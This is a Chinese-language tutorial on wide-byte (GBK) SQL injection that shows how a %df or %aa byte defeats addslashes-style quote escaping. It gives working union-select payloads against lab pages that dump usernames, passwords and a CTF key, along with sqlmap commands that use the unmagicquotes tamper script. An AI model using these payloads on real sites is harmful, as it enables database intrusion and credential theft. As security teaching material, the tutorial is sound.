您好,登錄后才能下訂單哦!
本篇內(nèi)容介紹了“SQL寬字節(jié)注入是什么”的有關(guān)知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細閱讀,能夠?qū)W有所成!
在了解寬字節(jié)注入之前,我們要了解一下什么是寬字節(jié),相對于單字節(jié),我們引入一個字符數(shù)大小為兩個字節(jié)的為寬字節(jié),比如GBK編碼,我們漢字通常使用的就是GBK編碼,也就是說一次性會讀取兩個字節(jié)。
產(chǎn)生寬字節(jié)注入的原因涉及了編碼轉(zhuǎn)換的問題,當(dāng)我們的mysql使用GBK編碼后,同時兩個字符的前一個字符ASCII碼大于128時,會將兩個字符認成一個漢字,那么大家像一個,如果存在過濾我們輸入的函數(shù)(addslashes()、mysql_real_escape_string()、mysql_escape_string()、Magic_quotes_gpc)會將我們的輸入進行轉(zhuǎn)義,那么我們是不是可以嘗試注入,我們舉一個簡單的例子:
addslashes()函數(shù)
該函數(shù)的作用是返回在預(yù)定義字符之前添加反斜杠的字符串。于是我們可以分析一下我們轉(zhuǎn)入的參數(shù)流程:
假設(shè)我們傳入一個參數(shù)id為1'查看數(shù)據(jù)庫是否錯報:
index.php?id=1'
那么經(jīng)過函數(shù)過濾后我們的輸入拼接到sql語句就會變成:
select * from user where id = '1''
可以看到單引號被轉(zhuǎn)義了,加入我們像下面一樣傳參:
可以看到我們傳入的參數(shù)與\合并成了一個漢字,具體可以參考下圖:
可以看到我們的單引號沒有被轉(zhuǎn)義,從而達到了閉合單引號的效果,這就是一個簡單的寬字節(jié)注入。但是需要有個前提,也就是MYSQL設(shè)置了GBK編碼:
SET character_set_client =gbk
進入頁面發(fā)現(xiàn)url可以有個變量id可以傳入?yún)?shù),于是我們傳參測試是否報錯
?id=1'
發(fā)現(xiàn)單引號被轉(zhuǎn)義了,數(shù)據(jù)庫沒有進行錯報,具體可以看下圖:
結(jié)合我們上面學(xué)習(xí)到的寬字節(jié)注入的知識,懷疑是addslashes函數(shù)轉(zhuǎn)義了我們的單引號,于是我們嘗試進行繞過,我們先查詢列數(shù):
?id=1%aa%27 order by 3--+
發(fā)現(xiàn)列數(shù)為三后,判斷回顯位置:
?id=-1%aa%27union select 1,2,database()--+
成功爆出了數(shù)據(jù)庫的名字,于是后面操作就跟平常的SQL注入一樣了:
?id=-1%aa%27union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+
打開網(wǎng)頁有一個查詢框讓我們進行查詢,我們嘗試加入單引號但發(fā)現(xiàn)沒有報錯,于是查看下源碼看看有沒有有用信息:
gb2312正是漢字編碼字符集,于是我們嘗試寬字節(jié)注入:
?id=1%df%27%20union%20select%201,database()%23
成功回顯了數(shù)據(jù)庫的名字,說明可行,于是我們繼續(xù)注入:
?id=1%df%27%20union%20select%201,string%20from%20sql5.key%20--%20
得到了我們想要查詢的信息。
SQLMAP作為一個強大的SQL注入自動化工具也是可以進行寬字節(jié)注入測試的,下面我們來學(xué)習(xí)一下利用SQLMAP走一遍寬字節(jié)注入的流程:
先跑數(shù)據(jù)庫名:
sqlmap.py -u "http://sql/index.php?id=3" --tamper unmagicquotes --dbs
其中tamper為利用SQLMAP中自帶的腳本,當(dāng)然我們也可以手動導(dǎo)入,而unmagicquotes為我們寬字節(jié)注入利用的腳本,下面查詢表名:
index.php?id=3" --tamper unmagicquotes -D 'xino' --tables
爆出來表名后爆列名:
index.php?id=3" --tamper unmagicquotes -D `xino` -T ctf --columns
之后我們爆出數(shù)據(jù):
id=3" --tamper unmagicquotes -D `xino` -T ctf -C flag
SQLMAP中進行寬字節(jié)注入還是比較簡單的,只需要注意我們利用到了sqlmap的寬字節(jié)注入腳本,其他的跟平時注入并沒有很大的差別。
“SQL寬字節(jié)注入是什么”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識可以關(guān)注億速云網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實用文章!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。